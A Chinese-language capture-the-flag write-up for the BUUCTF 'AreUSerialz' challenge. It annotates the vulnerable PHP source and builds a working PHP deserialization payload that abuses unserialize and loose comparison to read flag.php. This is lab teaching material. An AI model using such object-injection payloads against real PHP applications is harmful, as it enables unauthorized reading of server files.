BUUCTF [网鼎杯 2020 青龙组]AreUSerialz1

源码及解释如下代码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();//表示接着要去访问process函数
    }

    public function process() {
        if($this->op == "1") {
            $this->write();//如果op=1，访问write函数
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);//如果op=2，访问read函数并且输出
        } else {
            $this->output("Bad Hacker!");//否则，输出bad hacker
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");//如果filename及content不为空且content里字符串长度>100输出Too long
                die();//接着结束进程，触发__destruct()函数
            }
            $res = file_put_contents($this->filename, $this->content);//将content里的内容写入filename中
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//如果filename不为空，获取filename路径（暗示如果filename输入为flag.php，我们就能获取flag.php里的内容）
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//注意有个！非
            return false;
    return true;//形参变量i在ASCII码里为32-125则返回真
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {//调用is_valid函数判断是否满足在32-125范围
        $obj = unserialize($str);
    }

}

通过认真看代码及理解代码，根据op=2且filename=flag.php写出相应的反序列化代码构造payload即可得出flag。

<?php
highlight_file(__FILE__);
	class FileHandler {
        protected $op = 2;
        protected $filename = "flag.php";
        protected $content;
    }
    $a = new FileHandler();
    $b = serialize($a);
    echo $b
?>

但是发现这样会得到一些乱码

这是因为 protected/private类型的属性序列化后会产生不可打印字符，换成public类型就不会

<?php
highlight_file(__FILE__);
	class FileHandler {
        public $op = 2;
        public $filename = "flag.php";
        public $content;
    }
    $a = new FileHandler();
    $b = serialize($a);
    echo $b
?>

得到O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

构造?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

接着ctrl+u查看源码即可得到flag